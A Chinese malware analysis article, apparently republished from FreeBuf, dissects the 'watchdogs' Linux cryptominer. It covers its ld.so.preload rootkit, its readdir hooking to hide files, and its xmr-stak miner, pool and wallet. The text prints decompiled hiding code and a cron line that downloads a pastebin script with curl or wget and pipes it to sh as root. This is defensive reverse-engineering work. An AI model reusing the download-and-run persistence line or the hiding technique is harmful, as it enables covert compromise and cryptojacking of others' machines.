内容简介:*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。首先分析下watchdog程序。
*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。
0×1 Watchdogs程序
首先分析下watchdog程序。
由于程序使用golang编写的ida无法识别其中的符号信息,需要手动修复一下,可使用以下idapython脚本进行修复,修复后可还原一部分方法名。便于之后的分析。
脚本地址: https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro
通过脚本还原符号,重命名了 3946 个方法。
下面分析主函数 main.main():
Main 函数中主要做的工作就是:
1. 将watchdogs这个进程设置为系统服务 2. 将libioset写入到/etc/ld.so.preload中 3. 将写入定时任务,远程下载挖矿文件 4. 启动ksoftirqds进程进行挖矿操作 5. 更新程序 6. 删除一些文件(watchdogs&ksoftirqds&config.json)
下面是详细分析。
主要操作预览:
这里是将watchdogs添加为系统服务:
这里大概的意思是将libioset.so写入奥/etc/local/ld.so.preload:
这里是写入配置信息到文件/tmp/config.json中:
这里是写入定时任务:
通过查看计划任务发现。
每15分钟执行一次下载操作:
通过网页访问这个url发现其是一段base64加密的数据。
Base64解密后如下。
这里是检查更新:
通过tcpdump进行协议抓包分析,发现有挖矿行为:
通过htop进行进程分析,发现会启动以下的进程,cpu占用率极高:
通过使用inotify监视bin目录,发现其删除了一个netstat命令:
通过分析可知watchdogs可知程序执行过程中会释放watchdogs,config.json及ksoftirqds到tmp目录下。
下面我们来细细的分析下释放出来的挖矿木马程序ksoftirqds。
在watchdogs的中,对watchdos,config.json,ksoftrqds进行了删除操作:
另外为了隐藏进程信息及相关的文件信息,该病毒也对对一些libc.so中的函数进行了重写,如readdir函数。
主要工作:
1、加载动态链接库libc.so
2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 加载libc.so中的readdir函数,打开一个目录。
这里有一个do while statement:
do { v4 = old_readdir(a1); // 使用readdir打开一个目录 if ( v4 ) { if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 调用getdirname && !strcmp(&s1, "/proc") && (unsigned int)get_process_name(v4 + 19, &v3) && !strcmp(&v3, "ksoftirqds") ) { return 0LL; } if ( !strcmp(&v3, "watchdogs") ) return 0LL; } if ( v4 && !strcmp((const char *)(v4 + 19), ".") ) strcmp((const char *)(v4 + 19), "/"); } while ( v4 && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判断ksoftirqds是否是v4+19这个地址中的字符串的子集 || strstr((const char *)(v4 + 19),"ld.so.preload") || strstr((const char *)(v4 + 19), "libioset.so")) );
大致的意思是:
如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,则检查指定目录:
是否存在ld.so.preload文件 是否存在ksoftirqds的信息 是否存在watchdog的信息
这里是重写了readir函数,作用是,如果程序使用了该函数执行后,结果中包含恶意应用名称及路径,则不返回相应结果,起到隐藏作用。
另外程序也对rmdir函数进行了重写,防止恶意程序的文件被删除。
这里是重写的函数列表:
其中作者不仅在access中做了隐藏操作,进行了写入计划任务的操作:
这里是写入定时任务:
s =fopen("/etc/cron.d/root", "w+");
if( s )
{
fwrite(
"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym ||wget -q -O- https://pastebin.com/raw/sByq0rym )|sh\n##",
1uLL,
0x75uLL,
s);
fclose(s);
}
0×2 针对ksoftirqds的分析(挖矿)
如果我们想分析ksoftirqds的话,需要将tmp目录使用chattr +a /tmp命令锁住,这样可以防止这些文件被删除。
通过分析发现,这个木马文件也是用upx加壳的,我们使用upx工具执行:upx-d 即可脱壳。
下面使用ida进行源码分析。
首先使用ida的字符串检索功能,找到如下矿池地址:
搜索xmr.f2pool.com,跟入并寻找引用位置。
找到了钱包钱包地址:
它是在do_guided_pool_config这个函数中的,这里做矿池配置。
Main()->do_guided_pool_config()
通过分析该木马使用的是一款名叫xmr-stak的挖矿程序:
它的项目地址地址在 https://github.com/fireice-uk/xmr-stak 。
对象的github项目的特征位置:
这款挖矿系统除了能够挖掘门罗币,还能够挖掘以下的虚拟货币:
watchdogs 中写入定时任务,释放ksoftirqds进行挖矿,并每个15分钟检查更新。
ksofttirqds 程序主要是使用xmr-stak挖矿程序挖掘门罗币。
其矿池为:tcp://xmr.f2pool.com:13531
钱包地址为:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx
*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Out of their Minds
Dennis Shasha、Cathy Lazere / Springer / 1998-07-02 / USD 16.00
This best-selling book is now available in an inexpensive softcover format. Imagine living during the Renaissance and being able to interview that eras greatest scientists about their inspirations, di......一起来看看 《Out of their Minds》 这本书的介绍吧!